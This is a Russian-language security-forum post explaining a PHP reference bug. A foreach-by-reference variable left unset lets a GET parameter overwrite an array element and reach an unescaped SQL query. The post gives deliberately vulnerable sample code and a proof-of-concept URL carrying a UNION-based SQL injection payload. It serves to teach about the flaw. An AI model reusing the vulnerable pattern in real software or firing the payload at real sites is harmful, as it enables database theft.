Prev Предыдущее сообщение   Следующее сообщение Next
Старый 24.01.2014, 13:58   #1
Boolean
 
Регистрация: 19.10.2011
Сообщений: 111
Репутация: 34
По умолчанию unset() или «вечная ссылка»

Всем привет, недавно проводил наткнулся на интересную вариацию бага с отсутствием выполнения функции unset().

Код конечно же изменен, но суть и идея сохранились.
PHP код:
<?php
[...]
function 
loadSomeSystemInfo($username) {
    return 
'something';
}
[...]
$db mysql_connect('localhost''user0''pass0');
mysql_select_db('dbdbdb'$db);
[...]
$forList = array(
    array(
'username' => 'xampp'),
    array(
'username' => 'wampp'),
    array(
'username' => 'rdot.org'),
);

//загружаем какую-то системную информацию
foreach ($forList AS &$user) {
    
$user['system_info'] = loadSomeSystemInfo($user['username']);
}


$flag true;
if (isset(
$_GET['user']) && !empty($_GET['user'])) {
    
$user $_GET['user'];
    
$sql "SELECT * FROM user_pwd WHERE `name`='" . @mysql_real_escape_string($user) . "'";
    
$sql mysql_query($sql$db);
    if (
$data mysql_fetch_assoc($sql)) {
        
$flag false;
        echo 
$data['data'];
    } else {
        echo 
"User not found!<br />\n";
    }
}


if (
$flag) {
    echo 
"Listing:<br />\n";
    foreach (
$forList AS $k => $v) {
        echo (
$k 1) . ": " $v['username'] . ", Registered at: ";
        
$sql "SELECT * FROM user_pwd WHERE `name`='{$v['username']}'";
        
$sql mysql_query($sql$db);
        
$data mysql_fetch_assoc($sql);
        echo 
"{$data['reg_date']}<br />\n";
    }
}

?>
Несмотря на наличие фильтрации, уязвимость все-таки есть. В пхп присутствует "фича" вечных ссылок, т.е. объект будет ссылаться на элемент в массиве до тех пор, пока его не ликвидируют через unset().



PoC:
Код:
details.php?user[username]=test' and false union select 1,2,user() -- a
__________________
|

Последний раз редактировалось Boolean; 28.01.2014 в 11:54..
Boolean вне форума   Ответить с цитированием
 

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot